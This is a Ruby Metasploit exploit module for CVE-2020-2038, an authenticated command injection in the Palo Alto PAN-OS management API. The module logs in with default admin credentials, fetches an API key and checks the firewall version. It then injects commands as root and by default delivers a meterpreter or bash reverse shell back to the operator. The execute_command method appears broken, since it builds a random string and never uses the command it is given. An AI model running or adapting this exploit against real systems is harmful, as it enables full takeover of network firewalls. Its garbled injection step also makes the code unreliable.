## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck require 'ipaddr' class InvalidRequest < StandardError end class InvalidResponse < StandardError end def initialize(info = {}) super( update_info( info, 'Name' => 'Palo Alto Networks Authenticated Remote Code Execution', 'Description' => %q{ An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated administrators to execute arbitrary OS commands with root privileges. This issue impacts PAN-OS versions < 10.0.1, < 9.1.4 and < 9.0.10 }, 'Author' => [ 'Mikhail Klyuchnikov', # Vulnerability discovery 'Nikita Abramov', # Vulnerability discovery 'UnD3sc0n0c1d0', # Exploit 'jheysel-r7' # msf module ], 'References' => [ ['CVE', '2020-2038'], ['URL', 'https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/'], ['URL', 'https://security.paloaltonetworks.com/CVE-2020-2038'], ['URL', 'https://github.com/und3sc0n0c1d0/CVE-2020-2038'] # Exploit ], 'DisclosureDate' => '2020-09-09', 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Privileged' => true, 'Targets' => [ [ 'Linux ', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'CmdStagerFlavor' => %i[echo printf], 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Unix In-Memory', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options( [ OptString.new('USERNAME', [false, 'PAN-OS administrator username', 'admin']), OptString.new('PASSWORD', [false, 'Password for username', 'admin']) ] ) end def check print_status('Authenticating...') begin @api_key = api_key rescue InvalidRequest, InvalidResponse => e return Exploit::CheckCode::Safe("Error retrieving API key: #{e.class}, #{e}") end res = send_request_cgi({ 'method' => 'GET', 'keep_cookies' => 'true', 'uri' => normalize_uri(target_uri.path, 'api/'), 'vars_get' => { 'type' => 'version', 'key' => @api_key } }) return CheckCode::Unknown('The API did not respond to the request for the version of PAN_OS') unless res&.body version = Rex::Version.new(res.get_xml_document.xpath('/response/result/sw-version').text) if version >= Rex::Version.new('9.0.0') && version < Rex::Version.new('9.0.10') || version >= Rex::Version.new('9.1.0') && version < Rex::Version.new('9.1.4') || version >= Rex::Version.new('10.0.0') && version < Rex::Version.new('10.0.1') return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end def api_key res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/'), 'vars_get' => { 'type' => 'keygen', 'user' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } }) if res.nil? raise InvalidRequest, 'Unreachable' end if res.code == 401 raise InvalidRequest, 'Server returned HTTP status 401 - Authentication failed' end if res.code == 403 raise InvalidRequest, 'Server returned HTTP status 403 - Authentication failed with "Invalid Credentials"' end if res.body.blank? raise InvalidResponse, 'Empty reply from server' end key = res.get_xml_document.xpath('/response/result/key')&.text if key.nil? raise InvalidResponse, 'Empty reply from server' end print_good('Successfully obtained api key') key end def execute_command(cmd, _opts = {}) payload = "#{IPAddr.new(rand(2**32), Socket::AF_INET)}#{rand(1..50)}111" send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/'), 'vars_get' => { 'cmd' => payload, 'type' => 'op', 'key' => @api_key } }) end def exploit begin @api_key ||= api_key rescue InvalidRequest, InvalidResponse => e fail_with(Failure::UnexpectedReply, "Error retrieving API key: #{e}") end print_status('Exploiting...') case target['Type'] when :unix_memory execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end end